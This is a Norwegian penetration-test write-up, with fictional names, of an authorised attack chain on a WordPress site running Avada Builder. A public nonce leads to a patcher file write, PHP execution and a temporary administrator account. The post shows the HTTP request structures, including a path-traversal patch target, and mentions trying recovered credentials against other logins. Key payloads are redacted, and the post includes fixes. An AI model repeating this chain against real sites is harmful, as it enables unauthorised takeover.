Fra anonym WordPress-request til administrator via patcheren
13 min lesingVis som Markdown
pentest · wordpress · rce · cve · ai · security
FIKTIVT: Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Jeg har tidligere skrevet om en WordPress-side der web-laget holdt. Denne gangen gjorde det ikke det. En anonym AJAX-request ble først til en persistent post-meta-write. Den var rapporterbar, men ga meg ingen admin. Den virkelige inngangen lå i kombinasjonen av Avada Builder, Dynamic Data og patcheren.
Sluttresultatet var en komplett kjede uten konto eller cookie: offentlig nonce, anonym rendering av et administrativt action hook, request-lokal patchmetadata, filskriv til en webkjørbar PHP-fil, opprettelse av en midlertidig administrator og vanlig innlogging i WordPress. Etterpå slettet jeg kontoen, ugyldiggjorde sesjonen og restaurerte filen byte for byte.
Dette er en sanert reproduksjon. Requeststrukturen, kontrollene og responsene er beholdt. Den virksomme Dynamic Data-strengen og PHP-payloaden er erstattet med placeholders, så teksten beskriver beviset uten å være et ferdig våpen mot et ekte nettsted.
Kontekst
Skranglekopp AS (skranglekoppas.no) hadde en offentlig WordPress-side med Avada 7.12.1 og Avada Builder 3.12.1. Oppdraget var en ekstern, uautentisert test. Scopet tillot kontrollert filskriv og administratorbevis så lenge endringen var minimal, reversibel og dokumentert.
CVE-triage var bare én del av arbeidet. Jeg lot AI-agenter kartlegge hoster, AJAX-actions, offentlige scripts og observerte versjoner. Agentene skrev små requests-baserte script, kjørte matchede kontroller og samlet headers, bodies og SHA-256. Jeg bestemte hvilke spor som fikk eskaleres, hva som var godt nok bevis, og hvilke produksjonsendringer som var forsvarlige.
To tidligere erfaringer påvirket oppsettet. WP Defender-utlåsingen jeg skrev om i juni lærte meg å fingerprint sikkerhetslaget før støyende enumerering. Cross-tenant-funnet som ikke overlevde verifisering gjorde den negative kontrollen til et eksplisitt krav før noe fikk kalles et funn.
Jeg brukte derfor en enkel bevisstige:
E1 hypotese eller versjonstreff
E2 teknisk reproduksjon uten autoritativ effekt
E3 kontrollert sikkerhetsanomali
E4 målt effekt + negativ kontroll + readback + oppryddingSkanneroutput stoppet på E1. HTTP 200 stoppet som regel på E2. WordPress-admin krevde en faktisk innlogging og en verifisert rollback.
Det første funnet: en TOC-write som ikke ga admin
Avada Builder registrerte den uautentiserte actionen awb_save_toc_tree. Handleren tok imot en positiv postId og et nestet trees-objekt, saniterte node-ID og tittel, og skrev resultatet til den faste post-meta-nøkkelen awb_toc_trees_cache.
Det manglet både en action-spesifikk nonce og en capability-sjekk som current_user_can('edit_post', $post_id).
Forutsetninger
- Ingen WordPress-konto.
- En offentlig testside med post-ID
2. - Ingen eksisterende TOC på testsiden.
- En unik inert canary:
AWB_TOC_POC_4f92c7d1. - En offentlig Post Cards-template som kunne brukes som database-backed readback-orakel.
Før write kjørte AI-scriptet to spørringer gjennom fusion_get_widget_markup:
LIKEpå den eksakte canary-tittelen.EXISTSpåawb_toc_trees_cache.
Begge returnerte samme tomme widget:
HTTP/1.1 200 OK
Content-Type: application/json
"<div class=\"widget widget_text\">...<div class=\"textwidget\"></div>...</div>"Matchet negativ kontroll
Jeg sendte først identiske felt til en action som ikke fantes:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=awb_save_toc_tree_control&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
0Deretter sendte jeg samme request med den registrerte actionen:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=awb_save_toc_tree&postId=2&trees[1][0][id]=awbTocPoc4f92c7d1&trees[1][0][title]=AWB_TOC_POC_4f92c7d1HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
0Bodyen 0 beviser ingenting alene. Forskjellen mellom 400 og 200 viser bare at WordPress fant en registrert handler. Beviset kom fra de to readback-spørringene. Begge gikk fra tom widget til den templaten som bare rendres når post-meta-predikatet matcher:
HTTP/1.1 200 OK
Content-Type: application/json
"<div class=\"widget widget_text\">...<div class=\"fusion-post-cards\">...
<a class=\"fusion-button\">Lær mer</a>...</div>...</div>"Den eksakte canary-queryen og den uavhengige EXISTS-queryen returnerte samme 1628-byte body. Før write var bodyen 88 byte. Det var en persistent databaseendring, ikke bare ulik feilhåndtering.
Rollback
En cache-bustet rendering av testsiden utløste pluginens egen garbage collector for sider uten TOC. Begge oraklene returnerte deretter nøyaktig samme 88-byte body og SHA-256 som før write. Canaryen levde i omtrent halvannet sekund.
Funn: Medium. En anonym angriper kunne endre TOC-cache for en valgt post, men metanøkkelen var fast og verdiene ble saniterte. Jeg hadde ikke vilkårlig meta-write, XSS, filskriv eller kodekjøring. Det var viktig å stoppe den konklusjonen der.
Sporet som faktisk nådde patcheren
Den andre kjeden startet med en offentlig Builder-nonce. En anonym request til frontend-editor-modus returnerte fusion_load_nonce i sidekonfigurasjonen:
GET /?fb-edit=1 HTTP/1.1
Host: skranglekoppas.noHTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
...
{"fusion_load_nonce":"<REDACTED>"}
...Noncen var ikke admin i seg selv. Den åpnet fusion_get_widget_markup, som kunne rendre en tekstwidget med Fusion-shortcodes. Dynamic Data støttet et action_hook-felt. Det lot den anonyme renderingen dispatchere WordPress-hooks som aldri burde vært tilgjengelige i den konteksten.
Hent en patcher-nonce gjennom rendering
Den sanerte requesten ser slik ut:
POST /wp-admin/admin-ajax.php?page=avada-patcher HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=fusion_get_widget_markup
&fusion_load_nonce=<REDACTED>
&widget_id=poc-patcher-render
&type=WP_Widget_Text
¶ms[wp_widget_text__filter]=1
¶ms[wp_widget_text__text]=<SANERT_FUSION_SHORTCODE_MED_ACTION_HOOK>Den faktiske shortcode-bloben er utelatt. Strukturen rendret Avadas patcher-side i widgetkonteksten. Responsen inneholdt en ny nonce:
<input
type="hidden"
id="awb-bulk-patches-nonce"
value="<REDACTED>"
/>På dette tidspunktet hadde jeg et anonymt orakel for administrativ patcher-tilstand, men fortsatt ingen filskriv.
Blindsporet: en stor patch-ID ble bare hoppet over
Første forsøk brukte en tilfeldig stor patch-ID. Serveren svarte pent, men gjorde ingenting:
{"success":true,"data":{"message":"Skip the patch","patch_id":422597}}Det så først ut som feil nonce, feil versjon eller en patch som allerede var markert som brukt. Agenten sammenlignet requesten med pluginlogikken og fant den egentlige begrensningen: Fusion_Patcher_Cache::get_cache([]) normaliserte patchlisten med numeriske indekser 0..N. Den store ID-en pekte aldri på det injiserte objektet.
Løsningen var ikke flere tilfeldige tall. Jeg ba AI-en bygge en syntetisk patchliste med kontrollerte sentineler og legge selve patchen på en gyldig indeks mellom 0 og 4. Da kunne jeg skille «patcheren svarte» fra «patcheren brukte min patchmetadata».
Full PoC: anonym request til WordPress-admin
CVE-2026-18431 beskriver samme klasse: Avada opp til og med 7.16 sammen med Fusion Builder opp til og med 3.16 kunne nås gjennom en uautentisert arbitrary-file-write-kjede. Den offentlige oversikten ligger hos OpenCVE. Det interessante i denne testen var ikke versjonstreffet. Det var den komplette, reversible transaksjonen.
Forutsetninger og sikkerhetsoppsett
- Ingen konto, cookie eller tidligere foothold.
- Avada 7.12.1 og Avada Builder 3.12.1.
wp-content/index.phpvar en offentlig rutet PHP-fil.- Filens originale innhold var 28 byte:
<?php
// Silence is golden.GET /wp-content/index.phpreturnerte HTTP 200 med 0 byte body før testen.- Testbrukernavn og passord ble tilfeldig generert.
- Passordet ble aldri lagret i klartekst.
- Payloaden restaurerte målfilen før den lastet WordPress.
- Cleanup var forberedt før create-patchen ble sendt.
Jeg kjørte filskriv og administratoropprettelse bare fordi dette var eksplisitt autorisert. En retest av samme klasse trenger backup, et avtalt tidsvindu og en ferdig rollback før første write.
Steg 1: prestate
curl -sS -D - https://skranglekoppas.no/wp-content/index.php -o /tmp/index-pre.body
wc -c /tmp/index-pre.body
sha256sum /tmp/index-pre.body0 /tmp/index-pre.body
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 /tmp/index-pre.bodyTom body var forventet fordi PHP-filen bare inneholdt en kommentar. Hashen ble cleanup-orakelet.
Steg 2: bygg request-lokal patchmetadata
Agenten genererte en form-request med tre sentineler og create-patch på indeks 3. Den virksomme Dynamic Data-encodingen og source-referansen er sanert:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
action=fusion_get_widget_markup
fusion_load_nonce=<REDACTED>
awb_patcher_nonce=<REDACTED>
patchID=3
fusion_options[avada][0]=poc-sentinel-0
fusion_options[avada][1]=poc-sentinel-1
fusion_options[avada][2]=poc-sentinel-2
fusion_options[avada][3][patch][0][context]=avada
fusion_options[avada][3][patch][0][path]=../../index.php
fusion_options[avada][3][patch][0][reference]=<REDACTED_SOURCE_REFERENCE>
fusion_options[avada][3][patch][0][version]=7.12.1
params[wp_widget_text__text]=<SANERT_ACTION_HOOK_SOM_DISPATCHER_APPLY>Pathen går fra Avadas forventede patchområde til wp-content/index.php. Source pekte på en byte-eksakt, midlertidig PHP-bridge. Jeg hentet source tilbake før patching og sammenlignet bytes og SHA-256 med den lokale payloaden.
Serveren bekreftet at akkurat indeks 3 ble brukt:
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"data":{"message":"Patch applied","patch_id":3}}Dette beviser at patchhandleren godtok den injiserte patchen. Det beviser fortsatt ikke at PHP kjørte.
Steg 3: kjør den selvrestaurerende bridgen
Jeg trigget den rutede filen med en unik markør:
GET /wp-content/index.php?proof=9d4e7b2a HTTP/1.1
Host: skranglekoppas.noBridgen gjorde følgende, i denne rekkefølgen:
- skrev de originale 28 byte tilbake til
__FILE__; - lastet
wp-load.php; - genererte et tilfeldig passord;
- opprettet
poc_admin_9d4e7b2amed rollenadministrator; - verifiserte
manage_options; - krypterte resultatet med en engangs RSA-public key;
- returnerte bare ciphertext.
Den virksomme PHP-koden er med hensikt ikke gjengitt. HTTP-responsen hadde denne formen:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
POC_ADMIN_CREATE_9d4e7b2a|<RSA-OAEP-CIPHERTEXT-256-BYTES>Lokal dekryptering ga en kort kontrollrecord:
{
"state": "CREATED",
"user_id": 7,
"username": "poc_admin_9d4e7b2a",
"manage_options": true
}Passordfeltet ble brukt i minnet og deretter kastet. Ciphertext i evidensen var 256 byte; den tilhørende private nøkkelen ble ikke lagt i rapportpakken.
Steg 4: vanlig WordPress-innlogging
Et internt funksjonskall som sier manage_options=true er bra, men jeg ville bevise at kontoen fungerte gjennom samme flate som en angriper ville brukt.
POST /wp-login.php HTTP/1.1
Host: skranglekoppas.no
Content-Type: application/x-www-form-urlencoded
log=poc_admin_9d4e7b2a&pwd=<REDACTED>&wp-submit=Log+In&redirect_to=https%3A%2F%2Fskranglekoppas.no%2Fwp-admin%2F&testcookie=1HTTP/1.1 302 Found
Location: /wp-login.php?redirect_to=%2Fwp-admin%2F&action=confirm_admin_email
Set-Cookie: wordpress_logged_in_<REDACTED>; HttpOnly; SecureDen nye sesjonen hentet deretter begge administratorflatene:
GET /wp-admin/ -> 200, ca. 144 KB, wp-admin-markup funnet
GET /wp-admin/users.php -> 200, ca. 87 KB, users-tabellen funnetFunn: Critical. Kausalkjeden var nå komplett: anonym request, patchapply, filskriv, PHP-kjøring, privilegert bruker og ordinær administratorinnlogging.
Cleanup var en egen transaksjon
Jeg brukte en ny syntetisk patch på indeks 4 til cleanup. Den payloaden restaurerte målfilen først, slettet testbrukeren, ødela alle sessions for bruker-ID-en og fjernet bare de syntetiske patch-ID-ene 0..4 fra fusion_applied_patches og fusion_failed_patches.
HTTP/1.1 200 OK
Content-Type: application/json
{"success":true,"data":{"message":"Patch applied","patch_id":4}}Cleanup-bridgen returnerte en enkel maskinlesbar kvittering:
POC_ADMIN_CLEAN_9d4e7b2a|USER_DELETED|PATCH_RESIDUE_0Jeg stolte ikke på kvitteringen alene. Scriptet kjørte fire readbacks:
GET /wp-content/index.php
-> 200, 0 byte, SHA-256 e3b0c442...b855
GET /wp-json/wp/v2/users?slug=poc_admin_9d4e7b2a
-> 200, []
POST /wp-login.php med gammelt testpassord
-> ingen wordpress_logged_in-cookie
GET /wp-admin/ med gammel testsesjon
-> 302 til wp-login.php?...&reauth=1objective_proved=true og cleanup_verified=true var separate felt i evidensen. Det ene kunne ikke gjøre det andre sant.
Det jeg forkastet underveis
TOC-write var ikke RCE
Det første funnet var ekte, men avgrenset. En fast metanøkkel med saniterte verdier er ikke vilkårlig kodekjøring. Hadde jeg kalt den «foothold til admin» på grunn av en 200, ville rapporten vært feil.
Første fil-canary manglet et rent orakel
Før wp-content/index.php prøvde jeg en canary i en theme-path. Patcheren svarte Patch applied, og URL-en returnerte 75 byte, men den unike markøren manglet. Post-cleanup-responsen var identisk med source-bodyen, ikke med prestate:
{
"execute_status": 200,
"bytes": 75,
"marker_exact": false,
"postcleanup_matches_prestate": false
}Det kunne være redirect, routing eller feil målpath. Jeg forkastet det som bevis og byttet til en fil med kjent originalinnhold, stabil offentlig route og hashbasert pre-/poststate.
En patcherrespons var ikke en filskriv
Skip the patch på den store patch-ID-en betydde at handleren levde. Det betydde ikke at source var hentet eller at pathen var skrevet. Først da en gyldig indeks ga Patch applied, source round-trippet byte-eksakt og PHP-markøren kjørte over HTTP, hadde jeg et sammenhengende bevis.
WordPress-admin ga ingen automatisk app-pivot
Adminposisjonen ga tilgang til WordPress-runtime og lagrede integrasjoner, men den ga ikke en magisk session i Skranglekopp AS sin separate SaaS. Jeg testet to gjenfunne credential-par én gang hver mot to app-loginflater. Alle fire forsøk ble avvist. Målrettet cracking og lekkasjesøk ga heller ingen kryptografisk match.
Det negative resultatet ble stående som negativt. Jeg hadde WordPress, ikke resten av selskapets applikasjoner.
Verktøy og arbeidsdeling
De viktigste verktøyene var ikke en stor scanner. Det var små, målrettede script med tydelige orakler.
HTTP-baseline
Jeg brukte curl og httpx til status, routing og reproduksjon:
httpx -u https://skranglekoppas.no \
-status-code -title -tech-detect -web-server -follow-redirects
curl -sS -D headers.txt \
https://skranglekoppas.no/wp-content/index.php \
-o index.bodyAI-agentene kjørte den brede host-/endepunktkartleggingen. Jeg satte scope, rate og hvilke svar som fikk følges opp.
Transaksjonsscriptet
AI-en skrev først separate script for nonce, patchapply, canary og cleanup. Det var nyttig i utforskningen, men for mange løse deler til et kritisk bevis. Jeg ba den samle kjeden i én transaksjon med try/finally, kryptert credential-retur og separate mål/cleanup-verdikter.
Den sanerte rapportvarianten kjøres slik:
python3 poc_f08_full_chain_admin.py \
--target https://skranglekoppas.no \
--output ./evidence/f08 \
--execute \
--allow-httpbingo--allow-httpbingo er en eksplisitt sperre rundt den byte-eksakte source-mekanismen som ble brukt i det avtalte testvinduet. Scriptet leser source tilbake og sammenligner bytes før patching. I en kundestyrt retest ville jeg erstattet den med en source-host kunden selv kontrollerer.
Skriptet nekter aktiv kjøring uten --execute. Det avbryter før write hvis prestate ikke er tom, genererer tilfeldig admin, verifiserer vanlig login og gir bare exitkode 0 når både kompromittering og cleanup er bevist.
Før levering kjørte jeg:
python3 -m py_compile poc_f07_toc_meta_write.py poc_f08_full_chain_admin.py
sha256sum -c SHA256SUMSPOC_GUARDS_OK
ARCHIVE_AND_ALL_INTERNAL_CHECKSUMS_OKAI-en skrev og kjørte script, parserte responsene og holdt evidensledgeren oppdatert. Mine avgjørelser var å godkjenne den reversible administratortransaksjonen, forkaste det svake theme-canary-beviset, stoppe credential-pivoten etter negative kontroller og bestemme hva som kunne publiseres.
Mitigering
Oppdatering kommer først. Berørte Avada/Fusion Builder-versjoner må erstattes med leverandørens rettede release, og begge komponentene må kontrolleres etter deploy. Det holder ikke å oppdatere temaet og la Builder-pluginen stå igjen.
Selve handlerne trenger også en ordentlig autorisasjonsgrense. En forenklet før/etter ser slik ut:
function apply_patch() {
+ if (!is_user_logged_in() || !current_user_can('update_plugins')) {
+ wp_send_json_error(['message' => 'Forbidden'], 403);
+ }
+
+ check_ajax_referer('awb_apply_patch', 'awb_patcher_nonce');
+
$patch_id = absint($_POST['patchID']);
- $patch = fusion_get_request_overridden_cache()[$patch_id];
+ $patch = fusion_get_server_managed_patch_catalog()[$patch_id] ?? null;
+ if (!$patch) {
+ wp_send_json_error(['message' => 'Unknown patch'], 400);
+ }
+
+ $target = canonicalize_patch_target($patch['path']);
+ if (!path_is_inside($target, AVADA_ALLOWED_PATCH_ROOT)) {
+ wp_send_json_error(['message' => 'Invalid path'], 400);
+ }
}awb_save_toc_tree trenger den samme disiplinen på postnivå:
-add_action('wp_ajax_nopriv_awb_save_toc_tree', 'awb_save_toc_tree');
add_action('wp_ajax_awb_save_toc_tree', 'awb_save_toc_tree');
function awb_save_toc_tree() {
+ check_ajax_referer('awb_save_toc_tree', 'nonce');
$post_id = absint($_POST['postId']);
+ if (!$post_id || !current_user_can('edit_post', $post_id)) {
+ wp_send_json_error(['message' => 'Forbidden'], 403);
+ }
// valider størrelse, dybde og schema før update_post_meta()
}På plattformnivå anbefalte jeg read-only deployartefakter, DISALLOW_FILE_MODS der driftsmodellen tillater det, og at PHP-brukeren ikke får skrive til webkjørbare plugin-/theme-paths. Etter en uautentisert RCE må kunden i tillegg behandle miljøet som mulig tidligere kompromittert: integritetssjekk filer og database, gjennomgå adminbrukere og cron, invalider sessions og roter WordPress-salter, databasepassord og integrasjonshemmeligheter.
En WAF-regel mot actionnavnet kan kjøpe tid, men den reparerer ikke tillitsgrensen. Permanent fix må ligge i autentisering, capability-sjekk, serverstyrt patchkatalog og stram path-validering.
Hva jeg lærte
- En nonce er ikke en autorisasjon. Den kan begrense CSRF og fortsatt være verdiløs hvis en anonym renderkontekst får mintet eller gjenbrukt den mot privilegerte hooks.
HTTP 200var det minst interessante signalet i hele kjeden. Readback, unik marker, normal login og rollback gjorde resultatet rapporterbart.- En fast post-meta-write må avgrenses ærlig. Den var middels alvorlig, selv om den lå i samme plugin som den kritiske kjeden.
- Pluginens interne datamodell avgjorde exploiten. Den store patch-ID-en feilet fordi cachen reindekserte til
0..N; kildekodelesing slo flere tilfeldige forsøk. - En filskriv trenger et stabilt utførelsesorakel. Theme-canaryen ga tvetydig routing, mens
wp-content/index.phphadde kjent prestate og offentlig route. - Cleanup må designes før create. Selvrestaurering først, minst mulig endring, separat cleanup-patch og uavhengig poststate gjorde produksjonsbeviset forsvarlig.
- AI var best på bredde og mekanisk disiplin. Den skrev script, kjørte kontroller og sammenlignet hasher. Vurderingen av hva som var bevist, hva som skulle forkastes og når det var forsvarlig å opprette en admin var fortsatt min.
Jeg startet med en 200-respons fra en anonym TOC-handler. Jeg endte med en vanlig WordPress-administratorsesjon, men bare fordi hvert ledd fikk sitt eget orakel. Det er forskjellen på en interessant request og en dokumentert kompromitteringskjede.